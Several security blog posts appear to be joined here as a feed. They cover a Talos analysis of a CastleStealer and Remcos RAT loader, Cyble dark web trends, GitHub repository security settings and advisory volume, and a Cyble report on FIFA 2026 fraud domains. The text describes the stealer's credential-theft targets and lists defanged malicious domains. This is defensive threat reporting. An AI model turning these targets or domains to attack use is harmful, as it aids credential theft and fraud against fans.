Then, it decrypts the embedded encrypted payload blob and decompresses the decrypted data using LZX decompression into a newly allocated memory region. The payload is subsequently dispatched either by the reflective PE injection technique or by .NET CLR loading through the ICorRuntimeHost COM interface for .NET binaries, or through the PowerShell Runspace for PowerShell scripts. 

Talos discovered that the threat actor can deliver CastleStealer implant through the x64 shellcode and the Remcos RAT through the x32 shellcode variant.  

CastleStealer is a .NET-based infostealer and credential harvesting implant designed to systematically extract sensitive data from compromised Windows hosts. It incorporates several anti-analysis measures, including a Russian locale exclusion check and a hardcoded build expiry timestamp, ensuring it executes only against genuine targets within a defined operational window. Its credential theft surface is broad, targeting the full Chromium browser family and Firefox through direct SQLite database access, with decryption support for both legacy DPAPI-protected credentials and the AES-GCM application bound encryption scheme. Beyond browser data, it enumerates crypto wallet browser extensions, Discord and Telegram session files, Steam account credentials, and targeted filesystem paths, transmitting all collected material over a TCP socket to the attacker-controlled infrastructure. CastleStealer’s secondary payload delivery capability allows the actor to implant further payloads through process injection technique or PowerShell script execution.  

Remcos RAT (Remote Control and Surveillance) is a commercial remote access tool originally sold as a legitimate remote administration tool. However, it has been extensively abused by a wide range of threat actors since its emergence in 2016. It provides operators with comprehensive post-exploitation capabilitiesincluding real-time keylogging, screen and webcam capture, audio recording, file management, shell command execution, and clipboard monitoring all communicated over an encrypted channel to a configurable C2 server.  

Coverage 

The following ClamAV signature detects and blocks this threat: 

Txt.Downloader.Agent-10060312-0
Html.Downloader.Agent-10060313-0
Html.Downloader.Agent-10060314-0
Py.Loader.Agent-10060315-0
Py.Loader.Agent-10060316-0
Ps1.Trojan.Agent-10060317-0
Ps1.Trojan.Agent-10060318-0
Ps1.Trojan.WLDRAgent-10060319-0
Ps1.Downloader.Agent-10060320-0
Win.Trojan.CastleStealer-10060341-0
Win.Trojan.Starland_Installer-10060342-0
Win.Malware.Starland-10060343-0
Win.Malware.Remka-10060344-0

The following Snort Rules Snort 2 and Snort 3 (SIDs) to detect and block this threat: 66787 – 66790 and 301580  

IOCs

The IOCs for this threat are also available at our GitHub repository here. 

The dark web is no longer just a marketplace for stolen credentials; it has grown far beyond that point and now affects nearly every phase of the cyberattack lifecycle. Markets that once traded only compromised accounts now also sell ransomware services, initial network access, exploit kits, phishing infrastructure, and even AI-powered attack tools.  

What used to be a place for selling stolen data has become the operational backbone of modern cybercrime. 

The first half of 2026 alone is indicative of the trends we may continue to observe. The dark web has evolved into a highly organized ecosystem that facilitates cybercrime, underpins ransomware supply chains, fuels geopolitical campaigns, and accelerates identity-based attacks.  

Instead of serving as the endpoint for stolen data, it now functions as an operational hub where access, intelligence, and malicious services are traded before attacks even begin.  

The pace of activity reflects this shift: March 2026 alone recorded 702 ransomware attacks and 54 major publicly reported data breaches and leaks worldwide. 

Enterprise security teams must monitor such activities using continuous threat intel and underground monitoring. The current ecosystem is no longer optional as an intel exercise but an essential capability for spotting threats before they materialize.  

The dark web trends observed during the first half of 2026 reveal how underground ecosystems are reshaping the cyber threat landscape. 

1. Ransomware Operations Continue to Mature

During the first six months of 2026, ransomware remained one of the most disruptive cyber threats, but the infrastructure supporting it became noticeably more organized. Five ransomware operations—Qilin, Akira, The Gentlemen, DragonForce, and INC Ransom—accounted for more than 56% of ransomware activity recorded in March 2026.  

This concentration highlights the growing consolidation of the ransomware ecosystem, where a handful of established operators dominate attacks while relying on affiliates and underground service providers to scale their campaigns. 

Modern ransomware campaigns rarely focus on encrypting systems. Data theft has increasingly become a standard component in most attack scenarios, as it allows threat actors to pressure their victims with the threat of public exposure, even if the victims have proper backups and can restore their systems. Dark web leak sites play a major role in this, as they are where stolen information is published or auctioned when organizations do not want to pay.  

This shift will require businesses to monitor underground forum trends in H1 2026, including discussions about leaked data, targeted organizations, and early chatter about upcoming campaigns. Regional data reinforces the same trend. In the Americas alone, 1,305 cyber incidents were reported during Q1 2026, including 1,138 publicly claimed ransomware attacks. Nearly 58% of those attacks were attributed to just five ransomware groups. 

2. Access Brokers Are Powering the Underground Economy 

Many cyberattacks are now starting long before ransomware is deployed. Initial access brokers have become major players, specializing in one activity: network compromise and then selling that access to other threat actors. 

Underground marketplaces also showed growing demand for initial access. In March 2026 alone, researchers observed 80 separate listings advertising access to compromised corporate networks. Government & LEA remained the most targeted industry, with 11 tracked incidents. Governments, Professional services, Manufacturing, and Retail continued to be persistently targeted. 
 
The bulk of this activity traced back to Big-Bro, an initial access broker (IAB) who has operated on Russian-language cybercrime forums since 2022. Two newer actors followed: Saturned33, who appeared in 2025, and Vexin, who surfaced in early 2026 (primarily active in March) and built a reputation selling unauthorized access to corporate cloud environments across multiple countries. 

Ransomware groups and espionage operators don’t need to spend time and effort breaching organizations themselves; they can buy verified entry points into corporate environments. This new division of labor has made cybercrime much faster and more effective. 

Access is typically sold soon after a compromise, so defenders have less time to detect exposed credentials or compromised infrastructure. As such, dark web intelligence is valuable not only for identifying stolen data but also for indicating that access to an organization's network is already being traded on underground markets. 

To see how Cyble’s threat intelligence can help your organization detect external exposure and track threat activity, book a personalized demo. 

3. Identity Has Become the Primary Attack Surface 

With the rise of credential-based attacks over malware, the security perimeter is pretty much irrelevant. The most common enterprise infiltration paths include credential theft, session hijacking, bypassing multi-factor authentication, and abuse of third-party access. All those have one thing in common: valid credentials. 

From an attacker's perspective, logging in with legitimate credentials generates far less suspicion than exploiting software vulnerabilities. As organizations expand cloud adoption and remote work, identities have become a new perimeter. 

Compromised endpoints have always been a key initial access vector for a variety of illicit activities, ranging from data breaches to initial access brokerage (IAB) operations. Compromised Endpoint monitoring is essential to securing an organization’s digital surface in the current threat landscape.  

Over the last 6 months, Vision observed 9.7 billion compromised endpoints. This trend also explains why stolen usernames, passwords, authentication tokens, and corporate accounts continue to be traded on the dark web. Monitoring for exposed credentials allows organizations to respond before compromised identities are weaponized. 

Your executives are a prime target. → Discover how Cyble Executive Monitoring detects executive impersonation and deepfakes before they escalate.

4. Geopolitical Events Are Driving Cyber Activity 

The connection between global conflicts and dark web activity has become increasingly apparent during the first half of 2026. State-sponsored groups, hacktivists, and financially motivated criminals frequently operate in parallel during periods of geopolitical tension, creating a more complex threat environment. 

Rather than focusing exclusively on immediate disruption, many sophisticated actors are investing in long-term access to critical infrastructure, telecommunications, transportation, and energy systems. During the February 2026 escalation in the Middle East, cyber operations demonstrated how geopolitical events now extend into the digital domain.  

Internet connectivity in affected regions reportedly dropped to between 1% and 4% of normal levels; more than 70 hacktivist groups became active; over 8,000 conflict-themed domains were registered for scams and malware campaigns; and disruptions to navigation systems affected more than 1,100 vessels near the Strait of Hormuz. 

This convergence of political objectives and cybercrime makes attribution more difficult and raises the importance of monitoring underground discussions that may signal emerging campaigns before they reach production environments. 

When physical events become cyber risks, can you connect the dots? → Explore Cyble's Physical Security Intelligence

5. AI Is Accelerating Both Attackers and Defenders 

Artificial intelligence has moved from experimentation to operational use across the cybersecurity landscape. Threat actors are increasingly using AI-assisted techniques to automate reconnaissance, accelerate the exploitation of vulnerabilities, and scale phishing campaigns with greater precision. 

The dark web has become a marketplace for sharing AI-enabled attack tools alongside traditional malware, making advanced capabilities accessible to less experienced operators. This lowers the barrier to entry while increasing the overall speed of cyber operations. 

Dark web threat intelligence in 2026 is becoming increasingly AI-driven, with defenders using automated analysis to process large volumes of dark web data, identify indicators of compromise, and prioritize threats in near real time. As attacks unfold more rapidly, automation is becoming necessary to reduce detection and response times. 

The question is no longer whether your organization appears on the dark web. The real question is whether you'll discover it before your attackers do. 

Get Cyble’s Global Threat Landscape Report – H1 2026 for critical insights into the new cyber ecosystem and the actions security leaders should prioritize next.

Conclusion 

The first half of 2026 stresses that the dark web is no longer where stolen information appears after an incident. It has evolved into a live intelligence environment where attacks are planned, infrastructure is traded, identities are monetized, and emerging tactics become visible before they reach production networks. 

Organizations that incorporate dark web intelligence into broader security operations gain more than visibility into compromised data; they gain early warning of evolving threats.  

As ransomware groups become more coordinated, identity attacks continue to rise, and AI reshapes offensive capabilities. Proactive monitoring will play an important role in reducing cyber risk during the remainder of 2026. 

References: 

• 2026 Threat Intelligence Trends, Cyber and Ransomware Report
• Cyble's Monthly Threat Landscape Analysis - March 2026

The post Inside the Underground Economy: 5 Dark Web Trends Shaping the 2026 Threat Landscape appeared first on Cyble.

At GitHub Security Lab, we spend a lot of our week talking to maintainers. Some find the settings page dense and the docs sprawl. Most maintainers we talk to weren’t hired to be security engineers. While this is true, ignoring a project’s security settings completely will lead into leaving a lot in the table in terms of automation and scalability, leading into a poor security posture, and before you realize it to vulnerabilities that pile up, exposing your users.

Here’s the short version. Six settings, free to use, updated in less than half an hour. We’ve bundled them into a guided flow called Protect Your Project so you can do them in one pass, and we walk through each tool you’ll use below.

1. Add a SECURITY.md file

This is the lightest-lift setting on the list and the one that makes everything else easier.

A SECURITY.md file tells the people who find bugs in your project where to send them. Without one, your options for a well-meaning reporter are a public issue (now a public exploit) or your personal email (if they can find it).

You don’t need to write much. We suggest adding a communication means such as an email so that those reporting vulnerabilities can reach you directly without posting about them publicly. Then, you can state what bugs are in scope, alongside anything else a reporter should have in mind when contacting you. For reference, we point maintainers to the the systemd project’s security policy that we consider a complete example. It sets clear expectations about reproducers and doesn’t assume you have a 24/7 response team when you don’t. Borrow the structure, change the contact details, commit it.

Ten minutes, tops.

2. Turn on private vulnerability reporting

SECURITY.md tells reporters where to go. Private vulnerability reporting (PVR) gives them a private place to make their report.

Once enabled, a researcher can file a confidential advisory on your repo. You triage it out of the public eye and disclose on your timeline. The setup is one checkbox in Settings → Security.

If you only do one thing tonight, do these first two together. They are free, and are the fastest signal to your community that you take this seriously.

3. Turn on secret scanning, with push protection

This is the one with the most embarrassing failure mode.

GitGuardian’s State of Secrets Sprawl 2026 found 28.65 million new secrets leaked on public GitHub in 2025, a 34% jump over the prior year and the largest single-year increase on record. AI-assisted commits are leaking secrets at roughly twice the baseline rate. The average cost of a data breach now sits at $4.44 million globally ($10.22 million in the US) per IBM’s 2025 Cost of a Data Breach Report.

Secret scanning catches keys and tokens that slip into your repo by blocking them locally before they’re pushed to your repository. It doesn’t matter if your repo is public or private, because once secrets leave your local development, then they are available to anyone with access to your repo.

4. Turn on Dependabot and dependency review

Your project isn’t just your code. It’s the dozens (often hundreds) of packages your code pulls in.

Looking at WordPress, for example: this search for reviewed, critical-severity advisories mentioning WordPress returns a long list of plugins with known vulnerabilities. If you’re running a WordPress site, Dependabot helps ensure none of these plugins are sitting in your dependencies.

Dependabot alerts you when a package you depend on has a known vulnerability. Dependency review shows you, inside a pull request, exactly what’s being added or upgraded and whether any of it has an open advisory. Together they turn an opaque package.json diff into a two-minute review.

5. Turn on code scanning

Code scanning runs static analysis on your repo and flags the patterns that lead to real bugs. SQL injection. Command injection. Dangerous deserialization. The usual cast.

Code scanning with CodeQL can detect unsafe GitHub Actions workflows. CodeQL is the engine, and we built code scanning. We made it free for open source in 2019, and it now ships as a one-click default setup in your Security and Quality tab.

This is the setting most maintainers skip because it sounds like it needs configuration. It doesn’t. Default setup picks the right query pack for your language and runs on every pull request.

6. Turn on branch protection on your default branch

This is the simplest, least-flashy setting, but it will yield the biggest impact starting as soon as you turn it on. This is about requiring a pull request before merging to main with minimum one approval.

This catches the worst-case scenario: a compromised credential, a confused contributor, or a tired version of you pushing straight to production. It’s also what makes the other five settings actually bite, because now Dependabot alerts and code scanning findings block a merge instead of sitting in a tab you never open.

In conclusion

These six settings will not make your project unhackable. Nothing will.

What they will do is close the easy doors, the ones being walked through right now by people scripting through public repos at scale.

Turn these on, and your project will be meaningfully harder to attack than it was this morning. So will every project that depends on it.

The post 6 security settings every GitHub maintainer should enable this week appeared first on The GitHub Blog.

In May 2026, the GitHub Advisory Database published 1,560 reviewed advisories—more than five times our typical monthly output and the highest in its history.

And it still wasn’t enough to keep up.

Over the past few months, the vulnerability ecosystem has shifted in a fundamental way. Input across private vulnerability reports, repository advisories, and CVE requests has increased simultaneously, pushing the entire system to a new operating scale.

This blog builds on an ongoing GitHub community discussion tracking the evolving nature of vulnerability reporting, as well as PVR and Advisory Database roadmap developments. A recurring theme in that thread is the downstream impact of platform changes on advisory curation and data quality. This aligns with GitHub’s broader shift toward emphasizing quality and shared responsibility in vulnerability reporting, which in turn directly shapes how advisory data must be curated and maintained.

TL;DR

Review times for new advisories are longer because vulnerability volume and complexity have increased significantly. Advisory quality has not changed: reviewed advisories are still human-validated, and existing alerts continue to function normally. If you want to help, focus on three things: submit complete vulnerability data, coordinate closely with maintainers and researchers, and request CVEs only when there is a clear intention to publish.

Record output and unprecedented input

May was not a one-time spike. From March through May, we sustained more than 6,000 advisory decisions per month. This included updating existing advisories, publishing new advisories, and reviewing inbound advisories, and exceeded any prior three-month peak.

At the same time, inflow accelerated across every source:

• Private vulnerability reports across the platform increased from ~550/week in January to more than 3,000/week for most of May.
• Repository advisories scaled from ~650/week to more than 5,000/week.
• GitHub CNA CVE requests reached almost 4,000 in May alone, nearly 10x year –over year.
• The CVE program has already published 30,000+ CVEs in 2026.
• More than 1.7 million total repositories have enabled private vulnerability reporting.

This is not a localized surge. It reflects structural change across the vulnerability disclosure ecosystem.

The impact

Since mid-April, due to this surge, we have not consistently met our internal goals for publication. Processing times extended first to about a week, then to multiple weeks for a meaningful share. Longer publication times can increase exposure windows. We take that seriously, and timeliness is a core part of the value this database provides.

What’s still working

Our data pipelines and publishing infrastructure have continued to operate through this period. Imports are running, data integrity is intact, and published advisories are accurate. Advisories that reach reviewed status today meet the same quality standard as before.

CVE assignment quality has remained strong. Our assignment rate has held between 91–94% through the entire surge, consistent with or better than historical norms and showing that there hasn’t been a clear degradation in the requests we receive.

The issue is throughput. The system that validates, enriches, and publishes advisory data is functioning; it is now operating beyond the volume and complexity it was designed to handle.

The work isn’t uniform

Not every security advisory requires the same level of effort. Some arrive well formatted: the advisory details clearly name the affected package and its relevant ecosystem, the version range is documented, and the fix is tagged. A curator can validate and publish these in under a few minutes.

But a growing share of incoming advisories require more investigation:

• Package disambiguation. The advisory details say “foo”, but is that foo on npm, python-foo on PyPI, or the unrelated foo on Maven? When upstream data doesn’t specify an ecosystem, our curators figure it out.
• Version range reconstruction. Many security advisories arrive with no affected version range, or with ranges that don’t match actual release history. Curators trace commits, changelogs, and tags to determine what’s actually affected.
• Multi-ecosystem advisories. Some projects ship packages to multiple registries, like a library with both a .NET implementation (NuGet) and a JavaScript implementation (npm) of the same functionality, where a vulnerability in the shared logic affects both. This requires independent verification across multiple data sources.
• Conflicting upstream data. When the CVE record, the maintainer’s advisory, and the commit history disagree about what’s affected, someone has to determine the truth.

Historically more straightforward advisories dominated, and the harder ones could be absorbed. When volume surges, the queue fills with both, and the complex ones take disproportionately longer, creating a compounding effect. The mix now matters much more. This isn’t just more work; it’s significantly more complex.

What “reviewed” actually means

A reviewed advisory is not simply a republished record; it’s the result of verification.

Curators:

• Map vulnerabilities to the correct ecosystem package
• Validate affected and fixed versions against release history
• Confirm upstream accuracy
• Check for duplication and consistency
• Validate classification and scoring

This is what allows downstream tools to rely on the data without additional validation.

Publishing faster by skipping verification would increase false positives at scale, which can create more risk than delay.

A broader ecosystem shift

This trend extends beyond GitHub.

The volume of reported and published vulnerabilities continues to grow rapidly, and organizations across the ecosystem are adapting to that change.

The system is working as designed. More vulnerabilities are being reported, disclosed, and tracked than ever before. That creates pressure downstream, including during advisory curation.

What we’re doing now

• Improving community contribution quality and throughput. Community contributions are an important part of how we improve the Advisory Database, and each is reviewed against the same validation standard as any other advisory. We’ve strengthened triage and prioritization, so high-quality submissions are identified earlier, reviewed more consistently, and moved through the queue faster. This helps us respond to current volume while reinforcing our primary goal of maintaining a high-quality, trusted dataset.
• Scaling the systems behind curation. We’ve increased aspects of the capacity of our backend curation systems to handle higher sustained throughput and we’re continuing to modernize the data infrastructure that supports analytics and queue management.
• Building AI-assisted research tools. We’ve developed and deployed tooling that gives our curators AI-powered assistance during the research phase of advisory review. Curators still make every decision, but routine research can be completed faster for higher quality advisories.
• Expanding automation where it helps the most. We’ve improved automation for extracting more data from upstream CVE information and for handling how community contributions interact with already-reviewed advisories. That work reduces time per decision without lowering the quality bar.
• Investing in documentation and training. We’ve significantly expanded our operational documentation. This enables us to bring new team members up to speed faster and improves consistency across the team.

What we’re building next

To support this new scale, we are investing in:

• Reducing time-per-advisory for the most common cases. A significant portion of incoming advisories require research that follows predictable patterns, such as identifying the correct package, confirming the version range, and checking for a fix. We’re investing in tooling that accelerates these patterns, so curators can spend their time on genuinely ambiguous cases that require human judgment.
• Making risk-based review prioritization smarter. We’re exploring additional risk signals for prioritization, such as package usage, evidence of active exploitation, and ecosystem impact to ensure the advisories that matter most reach users first.
• Improving the feedback loop with upstream data sources. A significant share of curation time is spent correcting incomplete or inaccurate upstream data. We’re investing in tighter integration with the sources we ingest from, especially through increased repository GitHub Security Advisory and Private Vulnerability Reporting data validation, so that data quality issues get resolved closer to the origin rather than in our review queue.
• Continuing to be transparent. We’ll share updates on our progress as we make it. If things improve, we’ll tell you. If we hit new challenges, we’ll share that too.

What this means for you

• Dependabot users: Existing alerts are unaffected. New advisories may take longer to trigger, with critical issues prioritized.
• API and feed consumers: Reviewed data remains accurate; unreviewed advisories are visible but not yet validated.
• Maintainers: Repository advisories continue to flow into the global database; prioritization is based on several factors, including project impact and severity.

How you can help

Include complete data in vulnerability reports. Providing affected version ranges, root cause, and clear reproduction steps makes a direct difference in how quickly and accurately advisories can be reviewed. When this data is complete, curation can take minutes. When it isn’t, curators must reconstruct missing details from source code, release history, and conflicting upstream signals. At this scale, those gaps compound quickly. High-quality upstream data is one of the most effective ways to improve both speed and accuracy across the ecosystem.

Include the right advisory details. Our best practices guide covers ecosystem categorization, package names, and version range formatting, but a few additional details make a direct difference in how quickly and accurately advisories can be reviewed and published to the GitHub Advisory Database. 

• Use the package name as it appears in the registry. Advisory package names must match the registry, not the repository or project name. Downstream systems rely on registry identifiers to match advisories to affected dependencies. If the name is incorrect or missing, alerts cannot be reliably generated, and affected users may never be notified. Using the registry name ensures the advisory can be correctly linked, indexed, and distributed.
• List all affected packages. Some vulnerabilities impact multiple packages within a project. Each affected package should be listed separately with its own ecosystem, package name, and version range. Advisories are consumed at the package level, so missing a package means missing the users who depend on it. Including all known affected packages improves coverage and ensures alerts reach the full set of impacted users.
• Provide a complete CVSS vector string. The GitHub Advisory Database supports CVSS 3.1 and 4.0. A severity label such as “High” is a quick summary, but a complete CVSS vector string includes a richer set of attributes, such as attack complexity, required privileges, and user interaction, which describe the vulnerability in greater detail. This structured information allows severity to be validated, interpreted consistently, and used by downstream tools for prioritization and automation. Without it, scoring is less precise and harder to compare across advisories. If you include a score, use the official calculators and include the full vector.
• Include relevant CWE classification. A CWE identifies the underlying weakness behind a vulnerability, such as cross-site scripting, SQL injection, or deserialization of untrusted data. Unlike a narrative description, a CWE gives downstream tools and security teams a standardized way to understand what kind of issue they are dealing with. That matters because CWE data can be used to categorize, filter, prioritize, and compare vulnerabilities across large datasets. It helps organizations group related issues, apply policy or reporting rules, and understand patterns in the vulnerabilities affecting their software. The more specific the CWE, the more useful the advisory becomes for downstream consumers.

For more guidance, see the best practices for writing clear, complete security advisories.

Be intentional when requesting CVEs. Requesting a CVE ID signals that a vulnerability will be disclosed and tracked publicly. When requests are made without plans to publish, it can divert time and attention from advisories that are actively moving toward release. Aligning CVE requests with clear publication intent helps ensure that effort is focused on where it has the most immediate impact and keeps the system responsive for everyone.

Coordinate closely with maintainers and other researchers. High-quality advisory data depends on shared context. Aligning affected packages, version ranges, and fixes helps reduce ambiguity and conflicting information across sources. At this scale, small gaps in coordination can become large inconsistencies downstream.

Improve advisory quality by contributing pull requests to the Advisory Database. Every correction to version ranges, package mappings, or fixes improves the accuracy that developers rely on.

Recognize the scale of this ecosystem shift and take part in it. The increase in vulnerability reporting reflects real progress. More issues are being found, fixed, and disclosed than ever before. Maintaining quality at this scale depends on researchers, maintainers, and data consumers and producers working together toward the same goal.

The bigger picture

Two years ago, the database published ~270 advisories per month.

In May 2026, it published over 1,500 while processing thousands of additional decisions across the system.

This reflects a broader shift:

• More repositories are enabling responsible disclosure.
• More researchers are reporting vulnerabilities.
• More maintainers are publishing fixes and advisories.
• The vulnerability ecosystem is scaling toward greater transparency.

That growth creates pressure on systems like ours. But it also represents meaningful progress.

Every advisory improves visibility. Every alert reduces risk.

We are scaling to meet that reality, and we will continue to share progress as we do.

The post Inside the Advisory Database and what happens when vulnerability volume breaks records appeared first on The GitHub Blog.

Executive Summary 

The FIFA World Cup 2026 has become more than a global sporting event. It has evolved into a large-scale cybercrime opportunity exploited by threat actors through a coordinated ecosystem of fraudulent domains, social media channels, messaging platforms, pirated streaming services, and dark web activity. Since May 2026, Cyble Research and Intelligence Labs (CRIL) has identified nearly 4,000 domains impersonating FIFA-related brands, ticketing platforms, streaming services, and fan-facing resources. 
 
Operation FanTrap reveals how threat actors are building end-to-end fraud operations designed to attract, engage, and monetize football fans worldwide. Victims are lured through fake ticket offers, VIP access schemes, counterfeit hospitality portals, and unauthorized streaming platforms. Evidence also shows victims being redirected to private communication channels such as Telegram and WhatsApp, where payment fraud, credential theft, and identity harvesting occur. 
 
CRIL’s investigation also identified growing dark web activity linked to the tournament, including claims of football-sector identity data leaks and discussions around ticket resale opportunities. While the authenticity of some leak claims remains under investigation, their circulation highlights the increasing convergence of fan-targeted fraud, identity theft, and cyber-enabled financial crime. 
 
The campaign demonstrates how major international events create a scalable environment for cybercriminal operations. Through multilingual targeting, extensive infrastructure deployment, and diversified monetization strategies, threat actors are transforming global sporting events into sustained cybercrime ecosystems. 

Key Takeaways 

• Operation FanTrap is a coordinated investigation into the broader fraud ecosystem exploiting global interest in FIFA events 

• Nearly 4,000 FIFA-themed domains were identified supporting phishing, ticket fraud, VIP scams, streaming lures, and brand impersonation. 

• The websites used a multilingual infrastructure to maximize victim reach, with a particularly strong focus on Chinese-speaking audiences. 

• Telegram and WhatsApp function as transaction layers where victims are moved from public-facing infrastructure into private fraud workflows. 

• Pirated streaming platforms serve as credential theft and payment fraud funnels rather than simple copyright violations. 

• Dark web discussions and alleged football-sector identity leaks create opportunities for targeted social engineering and secondary monetization. 

Campaign overview 

Parameter	Observed Value
Campaign Codename (CRIL)	Operation FanTrap
Monitoring Window	May 2026 – June 2026 (ongoing)
Dominant Fraud Categories	Ticket scam, VIP access fraud, pirate streaming, phishing
Primary Target Demography	Chinese-speaking fans, Korean fans, Latin American fans
Dark Web Activity	Forum-based ticket resale fraud; identity data leak claims

The FIFA World Cup 2026 will span the US, Canada, and Mexico, with a 48-team format and global broadcast reach. CRIL's monitoring uncovered significant spikes in malicious domain registrations mapped to specific attack themes, demonstrating how threat actors rapidly adapted their infrastructure to capitalize on tournament-related interest. 

Anatomy of the FIFA 2026 Fraud Ecosystem 

Domain Patterns - The Fraud Ecosystem 

Threat actors leveraged ticketing, VIP access, official branding, and live streaming to broaden their victim pool. Examples of these domain patterns are shown in the table below. 

Domain Pattern	Example Domains	Count	Fraud Category
zh-[term]-fifa.com	zh-worldcuphub-fifa.com, zh-nowlive-fifa.com	541	Chinese-language phishing/streaming
cn-[term]-fifa.com	cn-vpn-fifa.com, cn-setting-fifa.com	372	Chinese-language credential/VPN phishing
[term]-worldcup-fifa.com	play-worldcup-fifa.com, vip-worldcup-fifa.com	413	Brand impersonation
[term]-wc-fifa.com	cctv-maiqiu-fifa-wc.com, ssl-cn-fifa-wc.com	391	Ticketing/streaming fraud
fifa-ticket-[term].com	fifa-ticket-26.com, fifa-freetickets.*.top	10+	Ticket scam
fifa-vip-[term].com	fifa-vip-huya.com, fifa-vip-wcplay.com	84	VIP/premium access fraud
official-[term]-fifa.com	official-live-fifa.com, official-2026-fifa.com	87	Brand authority impersonation
live-[term]-fifa.com	vip-live-fifa.com, web-live-fifa.com	219	Pirate streaming
maiqiu variants	chn-maiqiu-fifa-worldcup.com, cctv-maiqiu-fifa.com	51	Chinese ticket-buying fraud

The extensive use of zh-, cn-, and Chinese-language World Cup labels such as shijiebei, pankou, and maiqiu highlights a deliberate focus on Mandarin-speaking audiences. This targeting extends beyond traditional ticket fraud to encompass betting platforms, media-themed credential theft, piracy lures, prize scams, and counterfeit merchandise. This signals a persistent and organized fraud ecosystem designed to capitalize on China's large football fanbase and strong demand for World Cup-related content and services. 

Dark Web Intelligence 

We also identified a growing ecosystem of ticket resale fraud on Telegram and WhatsApp, as well as pirated streaming lures. Both are actively used to monetize fan interest and facilitate fraud, credential harvesting, and other malicious activity. 

Resell Traps on Messaging Services. 

Monitoring of deep- and dark-web sources identified numerous advertisements and reseller communities promoting FIFA World Cup tickets via Telegram and WhatsApp. Fraudsters frequently use these platforms because they facilitate private, direct communication while limiting oversight and accountability.  

Threat actors often establish credibility through fabricated testimonials, forged purchase confirmations, edited screenshots, recycled ticket images, and scripted customer-support interactions. However, such indicators of legitimacy can be easily manufactured and should not be considered proof of ticket ownership or delivery capability. Additionally, the closed nature of these channels enables attackers to create a sense of urgency, collect payments, and disengage victims with minimal traceability. 

The example below illustrates a Telegram-based ticket resale advertisement identified during monitoring, highlighting the use of unofficial and potentially fraudulent sales channels. 

The pirated stream trap: free football, expensive consequences 

Pirated streaming sites exploit fans seeking free access to World Cup matches, using geo-restrictions, subscription costs, and broadcast limitations as bait. Rather than delivering live streams, many function as fraud and malware distribution platforms, employing fake video players, deceptive download prompts, browser notification prompts, and fraudulent free-trial offers to harvest credentials, payment information, and user data.  

To evade detection, we identified domains that avoid FIFA- or World Cup-related keywords in domain names. These links are promoted through fan forums, Discord servers, Telegram channels, and WhatsApp groups, lending credibility to malicious infrastructure. 

Examples identified during monitoring include: 

• footybite[.]vc 

• epicsports[.]in 

• footballnewslive[.]online 

• totalsportek[.]online 

• sportshub[.]fan 

• streameast[.]im 

The risk is beyond legal or copyright concerns. For many fans, the real danger lay in the broader cybersecurity ecosystem surrounding these platforms. Pirated streaming sites and services often acted as data collection points, quietly harvesting email addresses, passwords, payment details, phone numbers, and device information. 

Unofficial streaming apps and APK files added another layer of risk. They frequently requested excessive permissions, delivered intrusive ads, tracked user activity, and in some cases, served as entry points for malware. What seemed like a convenient way to watch a match could quickly turn into a channel for data exposure and system compromise. 

Ticket Scams and VIP Access Fraud  

Forum-based ticket promotions added another layer of risk to World Cup scams by combining resale listings with the appearance of community trust. Sellers often seemed more credible than random social media accounts, as consistent posting, forum history, and visible profile activity created a sense of legitimacy. However, this credibility could be misleading. Fans should remain cautious, as an active profile did not guarantee ticket authenticity, official authorization, secure payments, or a successful transfer—even within seemingly trusted communities. 

Identity and PII leak claims  

CRIL also observed forum discussions about leaked football-related identity data, highlighting how World Cup–related cybercrime can extend beyond fan scams into the broader football ecosystem. For example, one post titled “150k+ football passports leaked weeks before FIFA World Cup” claimed that passport scans and personal details of over 150,000 AFC and Al Nassr FC players and coaches had been exposed. The alleged leak included sensitive information such as full names, passport numbers, scans, dates of birth, nationalities, player roles, club affiliations, email addresses, contracts, AFC IDs, and even match or venue details.  

Such claims require independent forensic verification before a confirmed breach status can be assigned. Regardless of authenticity, the circulation of this data in the pre-tournament window confirms threat actors are actively seeking to monetize football-sector identity assets. If the record set is genuine, it enables targeted spear-phishing against club staff, agent impersonation in transfer fraud, contract manipulation, and abuse of venue access credentials. 

Connecting the Ecosystem – Attack Lifecycle 

By correlating our findings and research, we reconstructed the end-to-end attack chain used by threat actors. The analysis demonstrates how these seemingly independent activities are strategically aligned around the global popularity of FIFA events, enabling attackers to exploit fan enthusiasm, urgency, and trust. Together, these components form a coordinated FIFA-themed fraud ecosystem designed to attract victims, harvest sensitive information, facilitate financial fraud, and generate sustained criminal revenue.

The stages are as follows: 

• Stage 1 – Infrastructure Preparation: Registration of FIFA-themed domains and supporting online assets. 
• Stage 2 – Victim Acquisition: Promotion through search engines, social platforms, forums, messaging communities, and streaming portals. 
• Stage 3 – Engagement and Conversion: Fake ticket sales, VIP packages, hospitality offers, and streaming access are used to build trust. 
• Stage 4 – Data Collection: Harvesting of credentials, payment information, personal identifiers, and communication details. 
• Stage 5 – Monetization: Fraudulent payments, resale scams, credential abuse, phishing campaigns, and potential resale on the dark web of collected information. 

Conclusion 

Operation FanTrap demonstrates how global sporting events have evolved into highly attractive targets for organized cybercriminal activity. Rather than relying on isolated phishing campaigns or opportunistic scams, threat actors are building interconnected ecosystems that combine malicious infrastructure, social engineering, messaging platforms, streaming lures, and dark web activity to maximize financial returns. 

The nearly 4,000 domains identified by CRIL represent only one layer of a broader operation designed to exploit fan enthusiasm, event urgency, and global online engagement. Ticket scams, VIP access fraud, streaming lures, and alleged football-sector identity leaks collectively illustrate how attackers are diversifying their monetization strategies throughout the tournament lifecycle. 

As the FIFA World Cup 2026 continues, organizations, broadcasters, ticketing providers, and fans should view these activities not as isolated incidents but as components of an active and evolving cybercrime ecosystem. Continuous monitoring, rapid infrastructure disruption, dark web visibility, and proactive user awareness will remain critical to reducing risk throughout the tournament. 

CRIL will continue tracking this cluster and updating IoCs as new infrastructure emerges. All indicators are submitted to Cyble's threat feeds and accessible to Vision platform customers. Fan-facing brands, ticketing platforms, and event organizers should treat this as an active threat and prioritize domain monitoring and takedown workflows throughout the tournament. 

Recommendations 

Based on the findings presented above, CRIL recommends the following actions for immediate consideration by security teams and organizations: 

• Implement keyword-aware domain monitoring that flags FIFA, tournament branding, and language-prefix patterns (zh-, cn-, kr-) as compounding risk signals alongside registrar identity, TLD, and domain age. 

• Build takedown workflows that account for Cloudflare-proxied infrastructure — abuse requests must target the underlying origin, not the CDN layer, to be operationally effective. 

• Integrate campaign-cluster pivoting from confirmed IoCs into threat hunting workflows, using shared IP subnets and registrar concentration as primary pivot axes. 

• Apply multi-platform fraud funnel awareness: detection should extend beyond domains to Telegram and WhatsApp channels used for off-platform transaction completion. 

